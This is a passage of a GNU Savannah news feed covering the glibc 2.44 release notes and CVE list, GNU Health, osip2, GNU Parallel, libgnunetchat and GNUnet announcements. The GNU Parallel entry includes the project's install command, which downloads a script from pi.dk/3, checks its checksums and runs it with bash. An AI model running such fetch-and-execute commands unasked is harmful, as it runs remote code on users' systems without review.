&lt;li&gt;The --enable-memory-tagging configure option has been removed.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  The corresponding AArch64-specific functionality that was previously
&lt;br /&gt;
  activated by this flag has been removed as well.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The --enable-static-nss configure option has been removed.  It had no
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  effect on the build since the NSS reorganization in glibc 2.33; its only
&lt;br /&gt;
  remaining behavior was to suppress the link-time warnings on the NSS
&lt;br /&gt;
  interface functions in libc.a, which are now emitted unconditionally.
&lt;br /&gt;

&lt;br /&gt;
Security related changes:
&lt;br /&gt;

&lt;br /&gt;
The following CVEs were fixed in this release, details of which can be
&lt;br /&gt;
found in the advisories directory of the release tarball:
&lt;br /&gt;

&lt;br /&gt;
  GLIBC-SA-2026-0005:
&lt;br /&gt;
    gethostbyaddr and gethostbyaddr_r may incorrectly handle DNS
&lt;br /&gt;
    response (CVE-2026-4437)
&lt;br /&gt;

&lt;br /&gt;
  GLIBC-SA-2026-0006:
&lt;br /&gt;
    gethostbyaddr and gethostbyaddr_r return invalid DNS hostnames
&lt;br /&gt;
    (CVE-2026-4438)
&lt;br /&gt;

&lt;br /&gt;
  GLIBC-SA-2026-0007:
&lt;br /&gt;
    iconv crash due to assertion failure with untrusted input
&lt;br /&gt;
    (CVE-2026-4046)
&lt;br /&gt;

&lt;br /&gt;
The following bugs were resolved with this release:
&lt;br /&gt;

&lt;br /&gt;
  [2363] libc: EOPNOTSUPP and ENOTSUP in errno.h must be different,
&lt;br /&gt;
    according to SUSv3
&lt;br /&gt;
  [3794] manual: iconv: &lt;a href=&quot;https://TRANSLIT&quot;&gt;TRANSLIT&lt;/a&gt; and &lt;a href=&quot;https://IGNORE&quot;&gt;IGNORE&lt;/a&gt; feature not documented
&lt;br /&gt;
  [15792] dynamic-link: [arm] ARM dynamic linker should save/restore
&lt;br /&gt;
    coprocessor registers
&lt;br /&gt;
  [20331] libc: fts ignores errors from readdir()
&lt;br /&gt;
  [20680] dynamic-link: ifunc resolver cannot access the thread pointer
&lt;br /&gt;
    with static linking
&lt;br /&gt;
  [22944] libc: fts cannot traverse paths which have a length longer
&lt;br /&gt;
    than USHRT_MAX
&lt;br /&gt;
  [25257] libc: sotruss: fix error message for &#39;--f&#39; argument
&lt;br /&gt;
  [25770] locale: newlocale memory leak in LOCPATH parsing and on error
&lt;br /&gt;
    paths
&lt;br /&gt;
  [27582] libc: x86_64: IFUNC in static user programs may crash when
&lt;br /&gt;
    built with -fstack-protector-all
&lt;br /&gt;
  [28218] dynamic-link: ld.so: ifunc resolver calls a lazy PLT. When
&lt;br /&gt;
    does it work?
&lt;br /&gt;
  [28817] libc: static-pie ifunc resolver tls failure
&lt;br /&gt;
  [28940] nss: __nss_database_get doesn&#39;t check for allocation failure
&lt;br /&gt;
  [30136] manual: Please document behaviour of iconv(3) when input is
&lt;br /&gt;
    untranslatable
&lt;br /&gt;
  [30304] nptl: nptl/tst-pthread-gdb-attach test fails with new libc
&lt;br /&gt;
    shared library version
&lt;br /&gt;
  [30769] malloc: malloc_trim is not working correctly for arenas other
&lt;br /&gt;
    than arena 0
&lt;br /&gt;
  [30976] dynamic-link: rtld: resolve ifunc relocations after
&lt;br /&gt;
    JUMP_SLOT/GLOB_DAT/etc
&lt;br /&gt;
  [30992] libc: alpha: setrlimit() with negative values besides
&lt;br /&gt;
    RLIM_INFINITY returns EPERM
&lt;br /&gt;
  [31901] libc: elf/tst-glibc-hwcaps-prepend-cache fails on i686
&lt;br /&gt;
  [33226] math: math-vector-fortran.h vs not ffast-math
&lt;br /&gt;
  [33626] libc: execvpe should skip inaccessible $PATH components
&lt;br /&gt;
  [33650] build: abilist.awk doesn&#39;t handle unversioned defined symbols
&lt;br /&gt;
  [33785] stdio: New streams are linked into global list before they are
&lt;br /&gt;
    fully initialized
&lt;br /&gt;
  [33848] build: Build fails at openat2.h, redefinition of &#39;struct
&lt;br /&gt;
    open_how&#39;
&lt;br /&gt;
  [33882] libc: Recursion in nftw() causes stack overflow(CWE-674)
&lt;br /&gt;
  [33904] build: error: &#39;__vasprintf_chk&#39; undeclared here
&lt;br /&gt;
  [33921] build: Building with Linux-7.0-rc1 errors on OPEN_TREE_CLONE
&lt;br /&gt;
  [33935] stdio: _IO_wfile_doallocate not linked correctly when linking
&lt;br /&gt;
    glibc statically
&lt;br /&gt;
  [33980] locale: iconv: ibm139x trigger assertion error when converting
&lt;br /&gt;
    to internal while lack enough room (CVE-2026-4046)
&lt;br /&gt;
  [33985] build: ld: cannot find -lgcc_s: No such file or directory
&lt;br /&gt;
  [33999] stdio: libio: potential dangling _IO_save_base or memory leak
&lt;br /&gt;
    in wgenops.c
&lt;br /&gt;
  [34006] stdio: libio: inconsistent fmemopen_write behavior on last \0
&lt;br /&gt;
  [34008] stdio: stdio-common: scanf %mc pattern will cause heap
&lt;br /&gt;
    overflow when width &amp;gt; 1024
&lt;br /&gt;
  [34014] nss: gethostbyaddr and gethostbyaddr_r may incorrectly handle
&lt;br /&gt;
    DNS response
&lt;br /&gt;
  [34015] nss: gethostbyaddr and gethostbyaddr_r return invalid DNS
&lt;br /&gt;
    hostnames
&lt;br /&gt;
  [34019] stdio: libio: undefined behavior when setbuf on open_memstream
&lt;br /&gt;
  [34033] network: resolv/ns_print.c: ns_sprintrrf TSIG path bypasses
&lt;br /&gt;
    buflen and can overflow caller buffer
&lt;br /&gt;
  [34064] dynamic-link: The unnecessary PT_NOTE check in when loading a
&lt;br /&gt;
    binary
&lt;br /&gt;
  [34069] network: Buffer overread in ns_sprintrrf with corrupted RDATA
&lt;br /&gt;
    field (CVE-2026-6238)
&lt;br /&gt;
  [34070] hurd: Calling open (&quot;/dev/tty/&quot;, O_RDONLY) causes the program
&lt;br /&gt;
    to segfault
&lt;br /&gt;
  [34073] regex: regexec can mistakenly match with backrefs and the $
&lt;br /&gt;
    anchor
&lt;br /&gt;
  [34079] dynamic-link: THP segment load aligns all PT_LOAD segments to
&lt;br /&gt;
    THP page size
&lt;br /&gt;
  [34080] dynamic-link: Support THP segment load with THP enabled with
&lt;br /&gt;
    madvise
&lt;br /&gt;
  [34083] dynamic-link: __get_thp_mode and __get_thp_size are called
&lt;br /&gt;
    twice
&lt;br /&gt;
  [34090] libc: wordexp WRDE_APPEND rollback restores stale we_wordv,
&lt;br /&gt;
    leading to invalid free in wordfree
&lt;br /&gt;
  [34098] libc: Missing SUPPORT_STATIC_PIE in arm32
&lt;br /&gt;
  [34129] string: x86: Non-temporal memset unreachable on AMD Zen 3/4/5
&lt;br /&gt;
  [34144] libc: ld.so clobbers VFP registers during runtime linking
&lt;br /&gt;
  [34154] network: Segfault in sock_eq after res_init() returns -1, due
&lt;br /&gt;
    to stale _u._ext.nscount in __res_iclose
&lt;br /&gt;
  [34156] dynamic-link: dlsym(RTLD_DEFAULT, ...) from a constructor
&lt;br /&gt;
    SIGSEGVs when tail-called
&lt;br /&gt;
  [34164] dynamic-link: elf: IFUNC resolvers do not see static TLS
&lt;br /&gt;
    initialization
&lt;br /&gt;
  [34170] dynamic-link: elf:  IFUNC resolver reading global-
&lt;br /&gt;
    dynamic/TLSDESC __thread variable crashes inside __tls_get_addr
&lt;br /&gt;
  [34183] math: fma produces wrong results
&lt;br /&gt;
  [34192] nptl: pthread_setname_np opens /proc/&amp;lt;tid&amp;gt;/comm with O_RDWR
&lt;br /&gt;
    instead of O_WRONLY|O_CLOEXEC
&lt;br /&gt;
  [34196] libc: elf: static dlopen: pointer guard of the loaded
&lt;br /&gt;
    ld.so/libc.so is left uninitialized
&lt;br /&gt;
  [34197] dynamic-link: elf: Stack canary and pointer guard are
&lt;br /&gt;
    recoverable from AT_RANDOM (getauxval)
&lt;br /&gt;
  [34205] libc: aarch64: SIGSEGV in tunable_strcmp in static-pie
&lt;br /&gt;
    binaries run with a string tunable
&lt;br /&gt;
  [34208] stdio: scanf not pushback after matching failure
&lt;br /&gt;
  [34210] libc: elf/tst-glibc-hwcaps-prepend-cache fails on
&lt;br /&gt;
    armv7a-unknown-linux-gnueabihf
&lt;br /&gt;
  [34236] locale: Non-representable transliteration still causes iconv
&lt;br /&gt;
    to exit with 1 if &lt;a href=&quot;https://TRANSLIT&quot;&gt;TRANSLIT&lt;/a&gt; is specified
&lt;br /&gt;
  [34289] network: ns_sprintrrf uses p_class, p_type internally
&lt;br /&gt;
  [34311] build: THP tests failed to link
&lt;br /&gt;
  [34347] libc: Incorrect trailing bitfield word of struct tcp_info
&lt;br /&gt;
  [34348] dynamic-link: FAIL: elf/tst-thp-1 if THP is disabled in kernel
&lt;br /&gt;
  [34351] build: Random test failures
&lt;br /&gt;
  [34355] build: [2.44 Regression] &quot;make check -j7 subdirs=stdio-common&quot;
&lt;br /&gt;
    no longer works
&lt;br /&gt;
  [34396] libc: sparc64-unknown-linux-gnu , Gentoo: &amp;gt;200 test failures,
&lt;br /&gt;
    SIGILL in many binaries
&lt;br /&gt;
  [34398] string: Truncated strncpy on s390x z900 ifunc variant
&lt;br /&gt;

&lt;br /&gt;
Release Notes
&lt;br /&gt;
=============
&lt;br /&gt;

&lt;br /&gt;
&lt;a href=&quot;https://sourceware.org/glibc/wiki/Release/2.44&quot;&gt;https://sourcewar ... wiki/Release/2.44&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Contributors
&lt;br /&gt;
============
&lt;br /&gt;

&lt;br /&gt;
This release was made possible by the contributions of many people.
&lt;br /&gt;
The maintainers are grateful to everyone who has contributed
&lt;br /&gt;
changes or bug reports.  These include:
&lt;br /&gt;

&lt;br /&gt;
Adam Yi
&lt;br /&gt;
Adhemerval Zanella
&lt;br /&gt;
Alejandro Colomar
&lt;br /&gt;
Andreas K. Hüttel
&lt;br /&gt;
Andreas Schwab
&lt;br /&gt;
Arjun Shankar
&lt;br /&gt;
Aurelien Jarno
&lt;br /&gt;
Avinal Kumar
&lt;br /&gt;
Brian Jorgensen
&lt;br /&gt;
Carlos O&#39;Donell
&lt;br /&gt;
Carlos Peón Costa
&lt;br /&gt;
Charlotte Mcmenamin
&lt;br /&gt;
Collin Funk
&lt;br /&gt;
Cosmina Dunca
&lt;br /&gt;
DJ Delorie
&lt;br /&gt;
Daan De Meyer
&lt;br /&gt;
Deng Jianbo
&lt;br /&gt;
Dev Jain
&lt;br /&gt;
Diego Nieto Cid
&lt;br /&gt;
Dmitry Kovalenko
&lt;br /&gt;
Dylan Fleming
&lt;br /&gt;
Etienne Brateau
&lt;br /&gt;
Fabian Rast
&lt;br /&gt;
Florian Weimer
&lt;br /&gt;
Frédéric Bérat
&lt;br /&gt;
Garccez
&lt;br /&gt;
George Hu
&lt;br /&gt;
H.J. Lu
&lt;br /&gt;
Jakub Jelinek
&lt;br /&gt;
Jiamei Xie
&lt;br /&gt;
Jiho Lee
&lt;br /&gt;
Jiri Stransky
&lt;br /&gt;
John David Anglin
&lt;br /&gt;
Jonathan Wakely
&lt;br /&gt;
Josef Johansson
&lt;br /&gt;
Joseph Myers
&lt;br /&gt;
Justus Winter
&lt;br /&gt;
Luca Boccassi
&lt;br /&gt;
Lucas Chollet
&lt;br /&gt;
Martin Coufal
&lt;br /&gt;
Matt Turner
&lt;br /&gt;
Michael Ford
&lt;br /&gt;
Michael Jeanson
&lt;br /&gt;
Michael Kelly
&lt;br /&gt;
Mike FABIAN
&lt;br /&gt;
Mike Kelly
&lt;br /&gt;
Muhammad Kamran
&lt;br /&gt;
Nicolas Boulenguez
&lt;br /&gt;
Paul Eggert
&lt;br /&gt;
Peter Bergner
&lt;br /&gt;
Peter Collingbourne
&lt;br /&gt;
Petr Menšík
&lt;br /&gt;
Pierre Blanchard
&lt;br /&gt;
Pino Toscano
&lt;br /&gt;
Pádraig Brady
&lt;br /&gt;
Richard Wild
&lt;br /&gt;
Rocket Ma
&lt;br /&gt;
RyotaSaito
&lt;br /&gt;
Sachin Monga
&lt;br /&gt;
Sajan Karumanchi
&lt;br /&gt;
Sam James
&lt;br /&gt;
Samuel Balazi
&lt;br /&gt;
Samuel Thibault
&lt;br /&gt;
Sana Kazi
&lt;br /&gt;
Sergey Kolosov
&lt;br /&gt;
Shamil Abdulaev
&lt;br /&gt;
Shengwen Cheng
&lt;br /&gt;
Siddhesh Poyarekar
&lt;br /&gt;
Stefan Liebler
&lt;br /&gt;
Thomas Daubney
&lt;br /&gt;
Tomasz Kamiński
&lt;br /&gt;
Uros Bizjak
&lt;br /&gt;
WANG Rui
&lt;br /&gt;
Weihong Ye
&lt;br /&gt;
Weixie Cui
&lt;br /&gt;
Wilco Dijkstra
&lt;br /&gt;
Xi Ruoyao
&lt;br /&gt;
Xiang Gao
&lt;br /&gt;
Yao Zihong
&lt;br /&gt;
Yunze Zhu
&lt;br /&gt;
Yury Khrustalev
&lt;br /&gt;
Zihong Yao
&lt;br /&gt;
mengqinggang
&lt;br /&gt;
xiejiamei
&lt;br /&gt;
zombie12138
&lt;br /&gt;

&lt;br /&gt;
We would like to call out the following and thank them for their
&lt;br /&gt;
tireless patch review:
&lt;br /&gt;

&lt;br /&gt;
Adhemerval Zanella 
&lt;br /&gt;
Andreas K. Hüttel
&lt;br /&gt;
Arjun Shankar
&lt;br /&gt;
Aurelien Jarno
&lt;br /&gt;
caiyinyu
&lt;br /&gt;
Carlos O&#39;Donell
&lt;br /&gt;
Collin Funk
&lt;br /&gt;
DJ Delorie
&lt;br /&gt;
Florian Weimer
&lt;br /&gt;
Frédéric Bérat
&lt;br /&gt;
Ganesh Gopalasubramanian
&lt;br /&gt;
H.J. Lu
&lt;br /&gt;
JiangNing
&lt;br /&gt;
Mathieu Desnoyers
&lt;br /&gt;
Paul Eggert
&lt;br /&gt;
Paul Zimmermann
&lt;br /&gt;
Peter Bergner
&lt;br /&gt;
Sam James
&lt;br /&gt;
Samuel Thibault
&lt;br /&gt;
Siddhesh Poyarekar
&lt;br /&gt;
Stefan Liebler
&lt;br /&gt;
Sunil K Pandey
&lt;br /&gt;
Wilco Dijkstra
&lt;br /&gt;
Yury Khrustalev&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Carlos O&#39;Donell</name>
	   <uri>https://savannah.gnu.org/projects/libc</uri> 
	</author>
	<source>
	  <title type="html">GNU C Library - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dlibc"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=libc</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU Health en la facultad de Ciencias Sociales de la Universidad de Buenos Aires</title>
	<link href="https://savannah.gnu.org/news/?id=10917"/>
	<id>https://savannah.gnu.org/news/?id=10917</id>
	<updated>2026-07-23T12:41:27+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Los próximos días 5, 6 y 7 de agosto tendrán lugar las XVII Jornadas Nacionales de Debate Interdisciplinario en Salud y Población “Investigar e intervenir en salud en tiempos de negacionismos y retrocesos”, organizadas por el Área de Salud y Población del Instituto de Investigaciones Gino Germani de la Facultad de Ciencias Sociales de la Universidad de Buenos Aires (UBA).
&lt;br /&gt;

&lt;br /&gt;
Luis Falcón (GNU Solidario) junto al Dr. Fernando Sassetti (UNER) presentarán en la sección &quot;Desigualdades Sociales de la Salud&quot;, con el título &quot;Software Libre como modelo de equidad, privacidad, soberanía tecnológica y sostenibilidad en salud. El caso de GNU Health&quot;.
&lt;br /&gt;

&lt;br /&gt;
Para la comunidad de GNU Health es un privilegio y un honor ser parte de este tan importante evento que lucha por la dignidad del individuo y de la comunidad, por un sistema sanitario público, de calidad y universal. Un sistema y un derecho hoy seriamente  comprometido y amenazado por las grandes corporaciones financieras y tecnológicas.
&lt;br /&gt;

&lt;br /&gt;
Haciendo alusión al título de las jornadas, la comunidad GNU y la filosofía del Software Libre representan el faro moral para Investigar e intervenir en salud en tiempos de negacionismos y retrocesos.
&lt;br /&gt;

&lt;br /&gt;
¡Nos vemos en Buenos Aires!&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Luis Falcon</name>
	   <uri>https://savannah.gnu.org/projects/health</uri> 
	</author>
	<source>
	  <title type="html">GNU Health - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dhealth"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=health</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">osip2 [5.3.2]</title>
	<link href="https://savannah.gnu.org/news/?id=10916"/>
	<id>https://savannah.gnu.org/news/?id=10916</id>
	<updated>2026-07-22T23:17:40+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;A new security release was published today! A minor Out-of-bounds Read was discovered. And fixed!
&lt;br /&gt;

&lt;br /&gt;
No confidential impact is possible.
&lt;br /&gt;
A very low risk of crash is possible.
&lt;br /&gt;

&lt;br /&gt;
Enjoy &amp;amp; update!
&lt;br /&gt;
Aymeric&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Aymeric MOIZARD</name>
	   <uri>https://savannah.gnu.org/projects/osip</uri> 
	</author>
	<source>
	  <title type="html">The oSIP library - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dosip"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=osip</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU Parallel 20260722 (&#39;Chat Control&#39;) released [stable]</title>
	<link href="https://savannah.gnu.org/news/?id=10915"/>
	<id>https://savannah.gnu.org/news/?id=10915</id>
	<updated>2026-07-21T14:39:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;GNU Parallel 20260722 (&#39;Chat Control&#39;)  has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  gnu parallelすごい！！！
&lt;br /&gt;
    -- たらたら@nosennyuu@twitter
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bug fixes and man page updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name &#39;*.jpg&#39; |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href=&quot;http://www.gnu.org/s/parallel/&quot;&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href=&quot;http://pi.dk/3&quot;&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href=&quot;http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1&quot;&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href=&quot;https://doi.org/10.5281/zenodo.1146014&quot;&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href=&quot;https://gnuparallel.threadless.com/designs/gnu-parallel&quot;&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(Have your company) donate to FSF &lt;a href=&quot;https://my.fsf.org/donate/&quot;&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases&#39; command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database&#39;s interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Ole Tange</name>
	   <uri>https://savannah.gnu.org/projects/parallel</uri> 
	</author>
	<source>
	  <title type="html">GNU Parallel - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dparallel"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=parallel</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">libgnunetchat 0.8.0</title>
	<link href="https://gnunet.org/en/news/2026-07-libgnunetchat-0.8.0.html"/>
	<id>https://gnunet.org/en/news/2026-07-libgnunetchat-0.8.0.html</id>
	<updated>2026-07-17T22:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;article id=&quot;newspost-content&quot;&gt;
 
  &lt;h1&gt;
   libgnunetchat 0.8.0 released
  &lt;/h1&gt;
  &lt;p&gt;
   We are pleased to announce the release of libgnunetchat 0.8.0.
   &lt;br /&gt;
   This is a minor new release bringing compatibility with the major changes in latest GNUnet release 0.28.0. Some minor issues in the API got fixed. Additionally the library was updated to make use of the newer PILS service and an additional layer of encryption for shared files got removed. It is intended to rely on the encryption layer of the FS service in GNUnet for that in the future to reduce overall complexity.
  &lt;/p&gt;
  &lt;p&gt;
   Older releases of the applications using libgnunetchat stay compatible with this release.
  &lt;/p&gt;
  &lt;h4&gt;
   Download links
  &lt;/h4&gt;
  &lt;ul&gt;
   &lt;li&gt;
    &lt;a href=&quot;http://ftpmirror.gnu.org/gnunet/libgnunetchat-0.8.0.tar.gz&quot;&gt;
     libgnunetchat-0.8.0.tar.gz
    &lt;/a&gt;
   &lt;/li&gt;
   &lt;li&gt;
    &lt;a href=&quot;http://ftpmirror.gnu.org/gnunet/libgnunetchat-0.8.0.tar.gz.sig&quot;&gt;
     libgnunetchat-0.8.0.tar.gz.sig
    &lt;/a&gt;
   &lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;
   The GPG key used to sign is:
   &lt;a href=&quot;https://gnunet.org/~schanzen/3D11063C10F98D14BD24D1470B0998EF86F59B6A&quot;&gt;
    3D11063C10F98D14BD24D1470B0998EF86F59B6A
   &lt;/a&gt;
  &lt;/p&gt;
  &lt;p&gt;
   Note that due to mirror synchronization, not all links may be functional
early after the release. For direct access try
   &lt;a href=&quot;http://ftp.gnu.org/gnu/gnunet/&quot;&gt;
    http://ftp.gnu.org/gnu/gnunet/
   &lt;/a&gt;
  &lt;/p&gt;
  &lt;h4&gt;
   Noteworthy changes in 0.8.0
  &lt;/h4&gt;
  &lt;ul&gt;
   &lt;li&gt;
    Remove additional file encryption layer besides FS implicit layer
   &lt;/li&gt;
   &lt;li&gt;
    Fix issue creating duplicate contexts/chats for individual contacts
   &lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;
   A detailed list of changes can be found in the
   &lt;a href=&quot;https://git.gnunet.org/libgnunetchat.git/tree/ChangeLog&quot;&gt;
    ChangeLog
   &lt;/a&gt;
   .
  &lt;/p&gt;
 
&lt;/article&gt;</content>
	<author>
	  <name>GNUnet News</name>
	   <uri>https://gnunet.org//</uri> 
	</author>
	<source>
	  <title type="html">GNUnet.org</title>
	  <subtitle type="html">News posts published by GNUnet about changes related to GNUnet, releases, and events</subtitle>
	  <link rel="self" href="https://gnunet.org/en/rss.xml"/>
	  <id>https://gnunet.org//</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNUnet 0.28.0</title>
	<link href="https://gnunet.org/en/news/2026-07-0.28.0.html"/>
	<id>https://gnunet.org/en/news/2026-07-0.28.0.html</id>
	<updated>2026-07-16T22:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;article id=&quot;newspost-content&quot;&gt;
 
  &lt;h1&gt;
   GNUnet 0.28.0 released
  &lt;/h1&gt;
  &lt;p&gt;
   We are pleased to announce the release of GNUnet 0.28.0.
   &lt;br /&gt;
   GNUnet is an alternative network stack for building secure, decentralized and
  privacy-preserving distributed applications.
  Our goal is to replace the old insecure Internet protocol stack.
  Starting from an application for secure publication of files, it has grown to
  include all kinds of basic protocol components and applications towards the
  creation of a GNU internet.
  &lt;/p&gt;
  &lt;p&gt;
   This is a new major release.
  Major versions may break protocol compatibility with the 0.27.X versions.
  Please be aware that Git master is thus henceforth (and has been for a
  while)
   &lt;b&gt;
    INCOMPATIBLE
   &lt;/b&gt;
   with
  the 0.27.X GNUnet network, and interactions between old and new peers
  will result in issues.
  In terms of usability, users should be aware that there are still
   &lt;b&gt;
    a number of known open issues
   &lt;/b&gt;
   in particular with respect to ease
  of use, but also some critical privacy issues especially for mobile users.
  Also, the nascent network is tiny and thus unlikely to
  provide good anonymity or extensive amounts of interesting information.
  As a result, the 0.28.0 release is still
   &lt;b&gt;
    only suitable for early adopters
  with some reasonable pain tolerance
   &lt;/b&gt;
   .
  &lt;/p&gt;
  &lt;h4&gt;
   Download links
  &lt;/h4&gt;
  &lt;ul&gt;
